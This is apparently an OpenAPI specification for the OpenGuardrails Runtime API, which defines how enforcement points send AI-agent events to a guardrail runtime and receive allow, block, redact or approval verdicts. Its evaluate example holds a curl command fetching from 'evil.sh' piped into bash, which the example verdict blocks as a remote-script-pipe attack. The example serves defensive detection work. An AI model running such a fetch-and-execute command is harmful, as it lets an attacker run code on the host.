# OpenGuardrails Runtime API — OpenAPI 3.1 description of the normative HTTP # binding in ../specification/runtime-api.md. The Markdown specification is # authoritative; this document is its machine-readable projection, kept in # lockstep with the JSON Schemas in this directory # (guard-event.schema.json, verdict.schema.json). openapi: 3.1.0 info: title: OpenGuardrails Runtime API version: "0.5" summary: The HTTP wire contract between an OGR runtime (PDP) and its interception points (PEPs). description: | The OpenGuardrails (OGR) Runtime API is the normative HTTP binding of the OGR contract: the API a runtime (Policy Decision Point) exposes and an interception point (Policy Enforcement Point, PEP) or SDK calls. A PEP submits `GuardEvent`s — units observed at an interception point (conversation, invocation, or execution altitude) — and receives `Verdict`s: allow, block, require_approval, modify, or redact. Two data paths exist. `POST /v1/evaluate` is the synchronous decision path: one event in, one verdict out, called while the PEP is holding an action. `POST /v1/ingest` is the asynchronous observation path: batches of events that need no synchronous decision. The remaining endpoints handle sensor enrollment (Ed25519 key binding), PEP liveness, the degraded-mode configuration a PEP applies when the runtime is unreachable, human-approval polling, and health. All requests and responses are JSON, UTF-8, `Content-Type: application/json`. Field names on the wire are `snake_case`, exactly as in the JSON Schemas. The canonical schema version is `ogr_version: "0.5"`; a runtime SHOULD accept events from `0.1` through the current version and normalize on read. Hosted reference documentation: https://openguardrails.com/api/docs/ Normative specification: https://github.com/openguardrails/openguardrails/blob/main/specification/runtime-api.md license: name: Apache-2.0 identifier: Apache-2.0 contact: name: OpenGuardrails url: https://openguardrails.com externalDocs: description: "Runtime API (HTTP binding) — the normative specification this document projects." url: https://github.com/openguardrails/openguardrails/blob/main/specification/runtime-api.md servers: - url: "https://{host}" description: | Any OGR runtime deployment. Canonical endpoint paths are rooted at `/v1/` and MUST be joined to a single configured base URL; the base URL MAY include a deployment-specific prefix (the reference runtime also mounts the same handlers under `/api/public/ogr`, so `https://host/api/public/ogr/v1/evaluate` is equally valid). Clients MUST NOT hard-code any prefix other than the configured base URL plus the canonical `/v1/...` path. variables: host: default: ogr.example.com description: Hostname (and optional port) of the OGR runtime deployment. security: - workspaceKey: [] tags: - name: events description: "The two data paths: synchronous decisions (`evaluate`) and asynchronous observation (`ingest`)." - name: fleet description: "Sensor identity and liveness: Ed25519 enrollment and PEP heartbeats." - name: policy description: "Policy-side reads: degraded-mode configuration and human-approval polling." - name: health description: Unauthenticated runtime liveness. paths: /v1/evaluate: post: operationId: evaluateEvent tags: [events] summary: Evaluate one GuardEvent synchronously and return a Verdict. description: | The synchronous decision path: one `GuardEvent` in, one `Verdict` out. A PEP calls this when it is holding an action and needs a decision before letting it proceed. The request is a single GuardEvent object — not a batch; batching belongs to `/v1/ingest`. The runtime MUST validate the body against the GuardEvent schema and MAY accept the documented request extension fields (`run_id`, `turn`, `authz`); unknown extensions MUST be ignored, not rejected. **Side effect** — a non-partial evaluate MUST also record the event (as if ingested); clients MUST NOT send the same event to `/v1/ingest` again. **Failure handling** — if the call fails (timeout, 429, 5xx, network), the PEP applies its degraded-mode policy from `GET /v1/config`; it MUST NOT default to allow for gated categories. parameters: - name: ogr-partial in: header required: false schema: type: string enum: ["1"] description: | Marks an **interim** judgment: decide, answer, record nothing. It exists for a PEP judging a *streamed* model answer: the growing answer is submitted several times so the rest of a bad stream can be stopped mid-flight. Those calls are one event seen at several sizes, not several events; recording each would multiply findings and session risk. A partial call MUST be judged under the same policies, whitelists and fail modes as a full call — the header suppresses the *writes*, never changes the *decision*. The PEP MUST report the final answer once, whole, through `/v1/ingest` when the stream ends. - $ref: "#/components/parameters/OgrBatchSignature" requestBody: required: true content: application/json: schema: $ref: "#/components/schemas/GuardEventExt" examples: execBlock: summary: Kernel sensor reporting a curl-pipe-to-bash exec value: ogr_version: "0.5" event_id: evt_9f2c guard_id: g_7a41 timestamp: "2026-08-11T09:30:00Z" observation_point: execution sensor: { id: ogr.ebpf.sensor, class: kernel } kind: exec subject: { agent_id: build-agent-3 } payload: { argv: ["curl", "-fsSL", "https://evil.sh", "|", "bash"] } responses: "200": description: | The runtime's `Verdict` for the submitted event. The runtime MAY add extension keys (`x.ogr.*`, or `x..*` for vendors); clients MUST pass through keys they do not understand. Notable extension keys: - `x.ogr.session_id` — the session the runtime attributed the event to. - `x.ogr.redaction_map` — present when the decision involves redaction the PEP must apply. - `x.ogr.output_mode` — `buffer` | `stream`: which lane the runtime selected for judging a streamed output. - `x.ogr.unjudged` — payload paths this verdict could *not* judge. Absent or empty means every routed text was judged; a PEP with `fail_mode: closed` MUST treat a non-empty value as "could not look", which is not "found nothing". content: application/json: schema: $ref: "#/components/schemas/Verdict" examples: block: summary: Block with session attribution (x.ogr.session_id) value: ogr_version: "0.5" event_id: evt_9f2c guard_id: g_7a41 provider: runtime decision: block reasons: [security.exec.remote_script_pipe] categories: - id: security.exec.remote_script_pipe domain: security score: 0.97 findings: - category: security.exec.remote_script_pipe severity: critical detector: exec-rules x.ogr.session_id: sess_01HZX redact: summary: Redact with a redaction map the PEP must apply value: ogr_version: "0.5" event_id: evt_a1b2 guard_id: g_7a41 provider: runtime decision: redact reasons: [privacy.pii.email] categories: - id: privacy.pii.email domain: privacy score: 0.91 modifications: kind: redact spans: - path: /payload/text start: 42 end: 63 operator: mask x.ogr.session_id: sess_01HZX x.ogr.redaction_map: /payload/text: [[42, 63]] streamedAllow: summary: Allow on a streamed output, with lane selection and unjudged paths value: ogr_version: "0.5" event_id: evt_c3d4 guard_id: g_7a41 provider: runtime decision: allow x.ogr.session_id: sess_01HZX x.ogr.output_mode: stream x.ogr.unjudged: [/payload/attachments/0] "400": $ref: "#/components/responses/InvalidEvent" "401": $ref: "#/components/responses/Unauthorized" "429": $ref: "#/components/responses/RateLimited" /v1/ingest: post: operationId: ingestEvents tags: [events] summary: Record a batch of GuardEvents asynchronously. description: | The asynchronous observation path: record events that need no synchronous decision (transcript, telemetry, the whole answer after a streamed judgment). 1–100 events per request; each element is validated independently against the GuardEvent schema, and the documented request extension fields (`run_id`, `turn`, `authz`) are accepted. Ingest MUST be idempotent on (`workspace`, `event_id`): retrying a batch MUST NOT duplicate events. Events arriving through ingest without a valid `ogr-batch-signature` are capped at the `self_declared` attestation ceiling. parameters: - $ref: "#/components/parameters/OgrBatchSignature" requestBody: required: true content: application/json: schema: type: object required: [batch] properties: batch: type: array minItems: 1 maxItems: 100 items: $ref: "#/components/schemas/GuardEventExt" description: 1–100 GuardEvents, each validated independently. example: batch: - ogr_version: "0.5" event_id: evt_1 guard_id: g_7a41 timestamp: "2026-08-11T09:31:00Z" observation_point: conversation kind: model_output subject: { agent_id: build-agent-3 } payload: { text: "Here is the full streamed answer..." } responses: "207": description: | Always returned when the envelope itself is well-formed, even if every element failed. `results` preserves request order; each entry reports one event's outcome. content: application/json: schema: type: object required: [results] properties: results: type: array items: $ref: "#/components/schemas/IngestResult" description: Per-event outcomes, in request order. example: results: - id: evt_1 status: 201 - id: evt_2 status: 400 error: "timestamp: invalid datetime" "400": description: 'Malformed envelope (e.g. missing `batch`, not JSON, or batch size out of range).' content: application/json: schema: $ref: "#/components/schemas/Error" example: error: invalid_body "401": $ref: "#/components/responses/Unauthorized" "429": $ref: "#/components/responses/RateLimited" /v1/enroll: post: operationId: enrollKey tags: [fleet] summary: Bind a PEP's Ed25519 public key to the workspace. description: | Binds a PEP's Ed25519 key to the workspace so its future requests can carry a verifiable identity via the `ogr-batch-signature` detached-JWS header, raising the channel's attestation ceiling. The workspace API key is the bootstrap credential. Re-enrolling the same key is idempotent (returns `200`); a revoked key MUST NOT be resurrectable by re-enrolling (returns `403`). requestBody: required: true content: application/json: schema: $ref: "#/components/schemas/EnrollRequest" example: public_key: 8fT1nJc2sT3v1sJH1sYQe7rW1o0xCbBqvNQm9Yv2ZkQ guard_id: g_7a41 name: build-agent-3 eBPF sensor responses: "201": description: First enrollment of this public key in the workspace. content: application/json: schema: $ref: "#/components/schemas/EnrollCreated" example: guard_id: g_7a41 key_id: key_01J8 max_attestation: sensor_attested "200": description: Idempotent re-enrollment of a key already bound to this workspace. content: application/json: schema: $ref: "#/components/schemas/EnrollExisting" example: guard_id: g_7a41 key_id: key_01J8 "400": description: The submitted key is not a valid base64url raw 32-byte Ed25519 public key. content: application/json: schema: $ref: "#/components/schemas/Error" example: error: invalid_public_key "403": description: The enrolled key exists but was revoked; revoked keys cannot be re-enrolled. content: application/json: schema: $ref: "#/components/schemas/Error" example: error: key_revoked "401": $ref: "#/components/responses/Unauthorized" "429": $ref: "#/components/responses/RateLimited" /v1/heartbeat: post: operationId: heartbeat tags: [fleet] summary: Report PEP liveness. description: | PEP liveness over the authenticated channel, so the runtime can distinguish "agent idle" from "PEP went dark". Transport-level: a heartbeat is **not** a GuardEvent and carries no guarded action. A heartbeat MUST register a live-but-idle agent so fleet coverage reflects enrolled PEPs that have not yet emitted an event. requestBody: required: true content: application/json: schema: $ref: "#/components/schemas/HeartbeatRequest" example: sensor: { id: ogr.higress, class: proxy, version: 0.3.1 } subject: { agent_id: build-agent-3 } interval_s: 30 counters: { events_sent: 120, evaluate_errors: 0 } responses: "200": description: Heartbeat recorded. content: application/json: schema: type: object required: [ok] properties: ok: type: boolean const: true example: ok: true "400": description: Malformed heartbeat (neither `sensor.id` nor `subject.agent_id` present, or not JSON). content: application/json: schema: $ref: "#/components/schemas/Error" example: error: invalid_body "401": $ref: "#/components/responses/Unauthorized" "429": $ref: "#/components/responses/RateLimited" /v1/config: get: operationId: getConfig tags: [policy] summary: Fetch the degraded-mode contract. description: | The degraded-mode contract: what a PEP does with a gated action when it **cannot reach the runtime**. Directives are keyed by category prefix; the PEP applies longest-prefix match. Defaults are conservative (`security.*` → `block`). Enforcement is the PEP's; the runtime is only the config source. A PEP SHOULD fetch and cache this at startup and refresh periodically. responses: "200": description: The current degraded-mode directives for this workspace. content: application/json: schema: $ref: "#/components/schemas/ConfigResponse" example: on_unreachable: "security.*": block "safety.*": allow "401": $ref: "#/components/responses/Unauthorized" "429": $ref: "#/components/responses/RateLimited" /v1/approvals: get: operationId: getApproval tags: [policy] summary: Poll the human decision behind a require_approval verdict. description: | Polls the human decision behind a `require_approval` verdict, so a blocking hook can wait for the approval to resolve before releasing or discarding the held action. parameters: - name: guard_id in: query required: true schema: type: string minLength: 1 description: The `guard_id` whose pending approval request is being polled. responses: "200": description: The current state of the matching approval request. content: application/json: schema: $ref: "#/components/schemas/ApprovalStatus" examples: pending: summary: Still waiting on a human value: status: pending approved: summary: Approved, with decision time value: status: approved decided_at: "2026-08-11T09:35:12Z" "400": description: The required `guard_id` query parameter is missing. content: application/json: schema: $ref: "#/components/schemas/Error" example: error: invalid_body "404": description: No approval request matches the given `guard_id`. content: application/json: schema: type: object required: [status] properties: status: type: string const: not_found example: status: not_found "401": $ref: "#/components/responses/Unauthorized" "429": $ref: "#/components/responses/RateLimited" /v1/health: get: operationId: getHealth tags: [health] summary: Unauthenticated runtime liveness. description: | Unauthenticated liveness: `200` when the runtime can serve decisions, `503` otherwise. The only endpoint that does not require a workspace API key. security: [] responses: "200": description: The runtime can serve decisions. content: application/json: schema: type: object required: [status] properties: status: type: string const: ok version: type: string description: Runtime software version. example: status: ok version: 0.4.2 "503": description: The runtime cannot currently serve decisions; clients apply degraded mode. content: application/json: schema: type: object required: [status] properties: status: type: string const: error additionalProperties: true example: status: error detail: policy store unavailable components: securitySchemes: workspaceKey: type: http scheme: bearer bearerFormat: ogr_... description: | Workspace API key: `Authorization: Bearer ogr_`. The key scopes the request to one workspace; every event lands in, and every policy resolves from, that workspace. A missing or invalid key produces `401 {"error": "unauthorized"}`. The static key authenticates the *channel*, not the *sensor*: events arriving with only the workspace key are capped at the channel's attestation ceiling. An enrolled PEP raises that ceiling per request with the `ogr-batch-signature` header. A runtime SHOULD rate-limit per API key (reference default: 600 requests/minute, fixed window). The key is also the identity floor: for events whose `subject` carries no `agent_id` (or no `subject` at all), the runtime derives an `agent_id` from the key — one key, one default agent — places that agent in the key's workspace, and attributes every session to one user. parameters: OgrBatchSignature: name: ogr-batch-signature in: header required: false schema: type: string description: | Detached compact JWS (RFC 7515 Appendix F) over the exact raw request body bytes, with protected header `{"alg": "EdDSA", "kid": "", "b64": false, "crit": ["b64"]}`. The runtime MUST verify the signature against the Ed25519 public key enrolled via `POST /v1/enroll`; a valid signature raises the channel's attestation ceiling for the events in that request. An absent or invalid signature MUST NOT reject the request — the events land at the unenrolled floor. responses: Unauthorized: description: Missing or invalid workspace API key. content: application/json: schema: $ref: "#/components/schemas/Error" example: error: unauthorized RateLimited: description: | Rate limit exhausted for this API key. Clients SHOULD back off and MUST treat a 429 on `/v1/evaluate` like an unreachable runtime — i.e. apply degraded mode, not fail open. content: application/json: schema: $ref: "#/components/schemas/Error" example: error: rate_limited limit: 600 InvalidEvent: description: The body failed GuardEvent schema validation; `details` lists per-field issues. content: application/json: schema: $ref: "#/components/schemas/Error" example: error: invalid_event details: ["timestamp: invalid datetime"] schemas: Sensor: type: object description: >- WHICH integration observed this — the mechanism axis, orthogonal to observation_point's altitude. required: [id] additionalProperties: false properties: id: type: string minLength: 1 description: Stable sensor identifier, e.g. `ogr.ebpf.sensor` or `ogr.higress`. class: type: string enum: [in_process, wrapper, proxy, kernel] description: The mechanism class of the observing integration. version: type: string description: Sensor software version. Subject: type: object description: >- Which agent is acting — the five-field agent identity plus actor lineage. A key-only caller omits the subject entirely; the runtime then derives the agent from the API key (one key, one default agent) and treats every session as the same single user. additionalProperties: false properties: agent_id: type: string minLength: 1 description: >- The acting agent, unique within the organization. Where the enforcement point authenticates callers with per-caller credentials (a gateway consumer), the authenticated caller id is the natural value. Absent, the runtime derives an id from the channel API key. agent_type: type: string description: >- What kind of agent — the harness (`hermes`, `openclaw`, `claude-code.subagent`) or the deployment's own name for it (`smartwork`). A label, not an identity: events sharing an `agent_id` but disagreeing on `agent_type` stay one agent and are surfaced as a shadow-agent signal. agent_workspace: type: string description: >- The workspace this agent belongs to — a named group of agents the operator maintains, resolved only within the tenant the channel credential proves. Absent, the agent lands in the API key's workspace. agent_owner: type: string description: >- The agent's builder or responsible party, e.g. `user:tom`. An attribute of the agent, never a policy boundary. agent_user: type: string description: >- Who is using the agent in this session. Constant for a personal agent, per-session for an agent serving many people. Absent, every session is attributed to one user. sandbox_id: type: string description: Sandbox instance the agent runs in, if any. parent_agent_id: type: string description: Spawning agent, for sub-agents. delegation_chain: type: array items: type: string description: Agent ids from root to this agent, for delegated work. attestation: type: string enum: [self_declared, inferred, network, mtls, gateway_api_key, client_key] description: >- How the PEP verified the identity fields; clamped by the runtime to the channel's attestation ceiling. RedactionSpan: type: object description: One span already redacted in the payload before submission. required: [path, start, end] additionalProperties: false properties: path: type: string description: JSON-pointer-like path to the redacted text within `payload`. start: type: integer minimum: 0 description: Start offset of the redacted span. end: type: integer minimum: 0 description: End offset of the redacted span. category: type: string pattern: "^(safety|security|privacy|x)\\.[a-z0-9_.]+$" description: Taxonomy category that motivated the redaction. operator: type: string enum: [replace, mask, hash, encrypt] description: How the span was transformed. ref: type: string description: Opaque reference to recover or correlate the original content. ProvenanceEntry: type: object description: Where a piece of the event's content came from, and how much it is trusted. required: [source, trust] additionalProperties: false properties: source: type: string enum: [system, user, model, tool_result, web, mcp, file, retrieved] description: Origin of the content. trust: type: string enum: [trusted, untrusted, unverified] description: Trust level assigned to that origin. ref: type: string description: Path or identifier of the content this entry covers. taint_tags: type: array items: type: string description: Free-form taint labels propagated with the content. GuardEvent: type: object description: | A unit observed at an OGR interception point. This is the closed canonical object exactly as published in `schema/guard-event.schema.json` (`additionalProperties: false`). For the request bodies of `/v1/evaluate` and `/v1/ingest`, which additionally accept the sanctioned runtime request extensions, see `GuardEventExt`. required: - ogr_version - event_id - guard_id - timestamp - observation_point - kind - payload additionalProperties: false properties: ogr_version: type: string const: "0.5" description: Canonical schema version of this event. event_id: type: string minLength: 1 description: >- Client-chosen unique id for this event; ingest is idempotent on (workspace, event_id). guard_id: type: string minLength: 1 description: Stable id of the PEP that observed the event. session_id: type: string description: Client-side session attribution, if the PEP knows it. timestamp: type: string format: date-time description: When the unit was observed (RFC 3339). observation_point: type: string enum: [conversation, invocation, execution] description: >- The altitude the event was observed at — what the sensor could see, orthogonal to `sensor.class`. sensor: $ref: "#/components/schemas/Sensor" kind: type: string enum: - user_input - model_output - tool_register - mcp_connect - skill_load - tool_call - tool_result - exec - network - file - agent_spawn - config_change description: What kind of unit was observed. llm_protocol: type: ["string", "null"] enum: [openai.chat, openai.responses, anthropic.messages, null] description: The LLM wire protocol the payload was captured from, when applicable. subject: $ref: "#/components/schemas/Subject" payload: type: object description: >- The observed content itself; shape depends on `kind` (e.g. `{"argv": [...]}` for `exec`, `{"text": "..."}` for conversation kinds). content_encoding: type: string enum: [raw, redacted, hashed, metadata_only] default: raw description: How much of the original content the payload carries. redactions: type: array items: $ref: "#/components/schemas/RedactionSpan" description: Spans already redacted client-side before submission. context_refs: type: array items: type: string description: References to prior events or external context this event depends on. provenance: type: array items: $ref: "#/components/schemas/ProvenanceEntry" description: Origins and trust levels of the content in `payload`. # GuardEventExt cannot be expressed as `allOf: [GuardEvent, {...extras}]`: # GuardEvent is closed with `additionalProperties: false`, so any allOf # composition would still reject `run_id` / `turn` / `authz` at the # GuardEvent branch. It is therefore a standalone schema repeating every # GuardEvent property plus the sanctioned runtime request extensions. GuardEventExt: type: object description: | A `GuardEvent` as accepted on the wire by `POST /v1/evaluate` and `POST /v1/ingest`: the canonical closed GuardEvent plus the sanctioned runtime request extensions (`run_id`, `turn`, `authz`). A runtime MUST ignore unknown extension fields rather than reject them, so this request shape is open (`additionalProperties: true`) even though the canonical GuardEvent schema is closed. required: - ogr_version - event_id - guard_id - timestamp - observation_point - kind - payload additionalProperties: true properties: ogr_version: type: string const: "0.5" description: Canonical schema version of this event. event_id: type: string minLength: 1 description: >- Client-chosen unique id for this event; ingest is idempotent on (workspace, event_id). guard_id: type: string minLength: 1 description: Stable id of the PEP that observed the event. session_id: type: string description: Client-side session attribution, if the PEP knows it. timestamp: type: string format: date-time description: When the unit was observed (RFC 3339). observation_point: type: string enum: [conversation, invocation, execution] description: >- The altitude the event was observed at — what the sensor could see, orthogonal to `sensor.class`. sensor: $ref: "#/components/schemas/Sensor" kind: type: string enum: - user_input - model_output - tool_register - mcp_connect - skill_load - tool_call - tool_result - exec - network - file - agent_spawn - config_change description: What kind of unit was observed. llm_protocol: type: ["string", "null"] enum: [openai.chat, openai.responses, anthropic.messages, null] description: The LLM wire protocol the payload was captured from, when applicable. subject: $ref: "#/components/schemas/Subject" payload: type: object description: >- The observed content itself; shape depends on `kind` (e.g. `{"argv": [...]}` for `exec`, `{"text": "..."}` for conversation kinds). content_encoding: type: string enum: [raw, redacted, hashed, metadata_only] default: raw description: How much of the original content the payload carries. redactions: type: array items: $ref: "#/components/schemas/RedactionSpan" description: Spans already redacted client-side before submission. context_refs: type: array items: type: string description: References to prior events or external context this event depends on. provenance: type: array items: $ref: "#/components/schemas/ProvenanceEntry" description: Origins and trust levels of the content in `payload`. run_id: type: string description: >- Runtime request extension — authoritative run attribution from an adapter that can observe the agent lifecycle. turn: type: integer minimum: 0 description: >- Runtime request extension — zero-based turn index within the run, from an adapter that can observe the agent lifecycle. authz: type: object description: >- Runtime request extension — the authorization envelope judged in auto-mode. VerdictCategory: type: object description: One taxonomy category the detector matched, with an optional score. required: [id, domain] additionalProperties: false properties: id: type: string pattern: "^(safety|security|privacy|x)\\.[a-z0-9_.]+$" description: Full category id from the OGR taxonomy (or an `x.` extension category). domain: type: string enum: [safety, security, privacy] description: Top-level taxonomy domain of the category. score: type: number minimum: 0 maximum: 1 description: Detector's confidence for this category. ModificationSpan: type: object description: One span the PEP must transform to apply a `modify`/`redact` decision. required: [path] properties: path: type: string description: JSON-pointer-like path to the text within the event payload. start: type: integer description: Start offset of the span. end: type: integer description: End offset of the span. replacement: type: string description: "Replacement text, for `operator: replace`." operator: type: string enum: [replace, mask, hash, encrypt] default: replace description: How to transform the span. ref: type: string description: Opaque reference correlating the transformation. Modifications: type: object description: >- The transformation the PEP must apply when `decision` is `modify` or `redact`. required: [kind] properties: kind: type: string enum: [redact, rewrite, constrain] description: The class of transformation. spans: type: array items: $ref: "#/components/schemas/ModificationSpan" description: Span-level edits to apply, for `redact`/`rewrite`. payload: type: object description: Full replacement or constraint payload, when spans are not enough. VerdictFinding: type: object description: | One concrete detection backing the verdict. Findings MAY carry `x.ogr.*` extension keys (e.g. `x.ogr.whitelisted`); clients MUST pass through keys they do not understand. required: [category] additionalProperties: true properties: category: type: string pattern: "^(safety|security|privacy|x)\\.[a-z0-9_.]+$" description: Taxonomy category of the finding. path: type: string description: JSON-pointer-like path to the matched text within the event payload. start: type: integer minimum: 0 description: Start offset of the matched span. end: type: integer minimum: 0 description: End offset of the matched span. score: type: number minimum: 0 maximum: 1 description: Detector's confidence for this finding. detector: type: string description: The detector that produced this finding. Verdict: type: object description: | A detector's decision about a GuardEvent. The canonical JSON Schema (`schema/verdict.schema.json`) closes this object; the sanctioned exception is extension keys, which a runtime MAY add on the wire: `x.ogr.*` (e.g. `x.ogr.session_id`, `x.ogr.redaction_map`, `x.ogr.output_mode`, `x.ogr.unjudged`, `x.ogr.whitelisted`) and vendor keys under `x..*`. Clients MUST pass through extension keys they do not understand. This wire schema therefore allows additional properties to admit those keys. required: [ogr_version, event_id, guard_id, provider, decision] additionalProperties: true properties: ogr_version: type: string const: "0.5" description: Canonical schema version of this verdict. event_id: type: string minLength: 1 description: The `event_id` of the GuardEvent this verdict judges. guard_id: type: string minLength: 1 description: The `guard_id` the judged event carried. provider: type: string minLength: 1 description: Which detector/provider produced the decision. decision: type: string enum: [allow, block, require_approval, modify, redact] description: | What the PEP must do with the held action: let it proceed (`allow`), stop it (`block`), hold for a human (`require_approval` — poll `GET /v1/approvals`), or apply `modifications` before proceeding (`modify`, `redact`). confidence: type: number minimum: 0 maximum: 1 description: Overall confidence in the decision. latency_ms: type: number minimum: 0 description: Detector-side latency in milliseconds. reasons: type: array items: type: string description: Human/machine-readable reason codes, typically category ids. categories: type: array items: $ref: "#/components/schemas/VerdictCategory" description: Taxonomy categories matched, with scores. modifications: $ref: "#/components/schemas/Modifications" evidence: type: array items: type: object description: Detector-specific supporting evidence objects. findings: type: array items: $ref: "#/components/schemas/VerdictFinding" description: Concrete detections backing the decision. IngestResult: type: object description: The outcome of one event in an ingest batch, in request order. required: [id, status] properties: id: type: ["string", "null"] description: The event's `event_id`, or `null` if it could not be read. status: type: integer description: >- Per-event HTTP-style status: `201` recorded, `400` failed validation. error: type: string description: Human-readable validation error, present when `status` is not 2xx. EnrollRequest: type: object required: [public_key] properties: public_key: type: string description: base64url encoding of the raw 32-byte Ed25519 public key. guard_id: type: string description: Optional stable PEP id to bind the key to. name: type: string description: Optional display name for the enrolled PEP. EnrollCreated: type: object description: First enrollment of this key in the workspace. required: [guard_id, key_id, max_attestation] properties: guard_id: type: string description: The PEP id the key was bound to (supplied or generated). key_id: type: string description: >- Key identifier to use as `kid` in the `ogr-batch-signature` protected header. max_attestation: type: string description: The highest attestation level this enrollment can confer. EnrollExisting: type: object description: Idempotent re-enrollment of a key already bound to this workspace. required: [guard_id, key_id] properties: guard_id: type: string description: The PEP id the key is bound to. key_id: type: string description: >- Key identifier to use as `kid` in the `ogr-batch-signature` protected header. HeartbeatRequest: type: object description: >- A transport-level liveness report — not a GuardEvent, carries no guarded action. At least one of `sensor` (with `sensor.id`) or `subject` (with `subject.agent_id`) is required. anyOf: - required: [sensor] - required: [subject] properties: sensor: $ref: "#/components/schemas/Sensor" subject: $ref: "#/components/schemas/Subject" interval_s: type: number description: >- The interval, in seconds, at which this PEP intends to heartbeat; lets the runtime decide when it "went dark". counters: type: object additionalProperties: type: number description: >- Free-form monotonic counters since PEP start, e.g. `events_sent`, `evaluate_errors`. ConfigResponse: type: object required: [on_unreachable] properties: on_unreachable: type: object description: >- Degraded-mode directives keyed by category prefix (e.g. `security.*`); the PEP applies longest-prefix match. additionalProperties: type: string enum: [block, allow, require_local_approval] description: What the PEP does with a gated action matching this prefix. ApprovalStatus: type: object required: [status] properties: status: type: string enum: [pending, approved, denied, expired] description: Current state of the approval request. decided_at: type: string format: date-time description: When the human decided, for terminal states. Error: type: object description: >- Common error envelope. `error` is a stable machine-readable code; `details` appears on `invalid_event` responses; `limit` appears on `rate_limited` responses. required: [error] properties: error: type: string description: >- Machine-readable error code, e.g. `invalid_event`, `invalid_body`, `unauthorized`, `key_revoked`, `invalid_public_key`, `rate_limited`. details: type: array items: type: string description: Per-field validation issues (present on `invalid_event`). limit: type: integer description: The API key's rate limit in requests per minute (present on `rate_limited`).